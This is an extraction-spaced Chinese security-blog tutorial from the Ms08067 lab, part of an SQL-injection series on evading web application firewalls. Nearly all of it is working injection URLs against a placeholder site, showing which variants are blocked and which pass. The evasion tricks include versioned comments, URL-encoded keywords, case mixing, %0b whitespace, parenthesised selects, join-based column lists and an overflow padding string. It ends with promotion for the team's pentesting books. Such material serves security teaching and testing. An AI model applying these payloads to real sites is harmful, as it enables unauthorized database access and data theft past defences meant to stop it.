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[26960] 2020-04-17_sql注入系列之（bypasswaf2）

文档创建者：s7ckTeam
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最后更新：2025-01-19
2020-04-17_sql注入系列之（bypasswaf2） s q l 注 入 系 列 之 （ b y p a s s   w a f   2 ） 椰 树   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 0 - 0 4 - 1 7 今 天 我 们 继 续 来 讲 一 下 b y p a s s   w a f 的 另 一 部 分 例 1 : h t t p : / / w w w . s i t e . c o m / p h p ? i d = 2   u N i O n - -   -   ( w a f ) h t t p : / / w w w . s i t e . c o m / p h p ? i d = 2   / * ! 5 0 0 0 0 u N i O n * / - -   -   ( w a f ) h t t p : / / w w w . s i t e . c o m / p h p ? i d = 2   / * ! 5 0 0 0 0 % 7 5 N i O n * / - -   -   ( w a f )   U R L 编 码 的 反 斜 杠 / % 2 f   来 代 替   /                       h t t p : / / w w w . s i t e . c o m / p h p ? i d = 2 % 2 f * ! 5 0 0 0 0 u N I O n * % 2 f - -   -   ( n o   w a f )       h t t p : / / w w w . s i t e . c o m / p h p ? i d = 2 % 2 f * ! 5 0 0 0 0 u N I O n * % 2 f   % 2 f * ! 5 0 0 0 0 S e L e C t * % 2 f   - -   -   ( n o   w a f ) h t t p : / / w w w . s i t e . c o m / p h p ? i d = 2 % 2 f * ! 5 0 0 0 0 u N I O n * % 2 f   % 2 f * ! 5 0 0 0 0 S e L e C t * % 2 f   1 , 2 , 3 , 4 , 5 - -   -   就 这 样 直 接 过 了 例 2 ： 使 用 u r l   e n c o d i n g 关 键 词 来 b y p a s s   w a f h t t p : / / w w w . s i t e . c o m / p h p ? i d = 2   u N i O n - -   -   [ 4 0 0   b a d   r e q u e s t ] h t t p : / / w w w . s i t e . c o m / p h p ? i d = 2   % 7 5 % 6 e % 6 9 % 6 f % 6 e - -   - [ n o   w a f ] h t t p : / / w w w . s i t e . c o m / p h p ? i d = 2   % 7 5 % 6 e % 6 9 % 6 f % 6 e   % 7 3 % 6 5 % 6 c % 6 5 % 6 3 % 7 4 % 2 0   1 , 2 , 3 , 4 , 5 - -   - 在 这 里   % 7 5 % 6 e % 6 9 % 6 f % 6 e   代 替 u n i o n ，   % 7 3 % 6 5 % 6 c % 6 5 % 6 3 % 7 4 % 2 0   来 代 替   s e l e c t 例 3 : h t t p : / / w w w . s i t e . c o m / p h p ? i d = 2   u n i o n - -   -   [ i n t e r n a l   s e r v e r   e r r o r   5 0 0 ] h t t p : / / w w w . s i t e . c o m / p h p ? i d = 2   u N i O n - -   -   [ n o   w a f ] h t t p : / / w w w . s i t e . c o m / p h p ? i d = 2   u N i O n   S e L e C t - -   -   [ n o   w a f ]   h t t p : / / w w w . s i t e . c o m / p h p ? i d = 2   u N i O n   S e L e C t   1 , 2 , 3 , 4 , 5 - -   -   [ b y p a s s e d ] 在 这 里 使 用 大 小 写 转 换 来 完 成 例 4 : h t t p : / / w w w . s i t e . c o m / p h p ? i d = 2   u N i O n - -   -   [ e r r o r   c o n n e c t i o n   t i m e d o u t ] 在 空 格 中 使 用 % 0 b   ，   % 0 d   ，   % c 0 来 b y p a s s   w a f h t t p : / / w w w . s i t e . c o m / p h p ? i d = 2 % 0 b u N i O n   % 0 b   s e l e c t   % 0 b   1 , 2 , 3 , 4 , 5 - -   -   [ b y p a s s e d ] 例 5 : 直 接 上 例 子 h t t p : / / w w w . s i t e . c o m / p h p ? i d = 2   u N i O n - -   -   [ w a f ] h t t p : / / w w w . s i t e . c o m / p h p ? i d = 2 u N i O n - -   -   [ n o   w a f ]   h t t p : / / w w w . s i t e . c o m / p h p ? i d = 2 u N i O n   S e L e C t - -   -   [ w a f ] h t t p : / / w w w . s i t e . c o m / p h p ? i d = 2 u N i O n ( S e L e C t   1 , 2 , 3 , 4 , 5 ) - -   -   [ b y p a s s e d 例 6 : 直 接 上 例 子 h t t p : / / w w w . s i t e . c o m / p h p ? i d = 2   / * ! 5 0 0 0 0 u N i O n * /   / * ! 5 0 0 0 0 S e L e C t * /   % 2 3   [ n o   w a f ] h t t p : / / w w w . s i t e . c o m / p h p ? i d = 2   / * ! 5 0 0 0 0 u N i O n * /   / * ! 5 0 0 0 0 S e L e C t * /   1   % 2 3   [ n o   w a f ] h t t p : / / w w w . s i t e . c o m / p h p ? i d = 2   / * ! 5 0 0 0 0 u N i O n * /   / * ! 5 0 0 0 0 S e L e C t * /   1 , 2   % 2 3   [ w a f ] h t t p : / / w w w . s i t e . c o m / p h p ? i d = 2   / * ! 5 0 0 0 0 u N i O n * /   / * ! 5 0 0 0 0 S e L e C t * /   1 , ~ ~ 2   % 2 3   [ n o   w a f ] h t t p : / / w w w . s i t e . c o m / p h p ? i d = 2   / * ! 5 0 0 0 0 u N i O n * /   / * ! 5 0 0 0 0 S e l E c t * /   *   F R O m   ( s e l e c t   1 ) a   j o i n ( S E L E C T   2 ) b   j o i n ( s e l e c t   3 ) c   j o i n ( s e l e c t   4 ) d   j o i n ( s e l e c t   5 ) e   % 2 3 例 7 : 溢 出 型 b y p a s s   w a f h t t p : / / w w w . s i t e . c o m / p h p ? i d = 2 h t t p : / / w w w . s i t e . c o m / p h p ? i d = 2 % 2 3 A A A A A A A A A A A A A A A A A A A A A A A A A A A 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M s 0 8 0 6 7 安 全 实 验 室 安 全 实 验 室 专 注 于 普 及 网 络 安 全 知 识 。 团 队 已 出 版 《 W e b 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 ， 《 内 网 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 《 内 网 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 ， 目 前 在 编 P y t h o n 渗 透 测 试 ， J A V A 代 码 审 计 和 二 进 制 逆 向 方 面 的 书 籍 。 团 队 公 众 号 定 期 分 享 关 于 C T F 靶 场 、 内 网 渗 透 、 A P T 方 面 技 术 干 货 ， 从 零 开 始 、 以 实 战 落 地 为 主 ， 致 力 于 做 一 个 实 用 的 干 货 分 享 型 公 众 号 。 官 方 网 站 ： w w w . m s 0 8 0 6 7 . c o m
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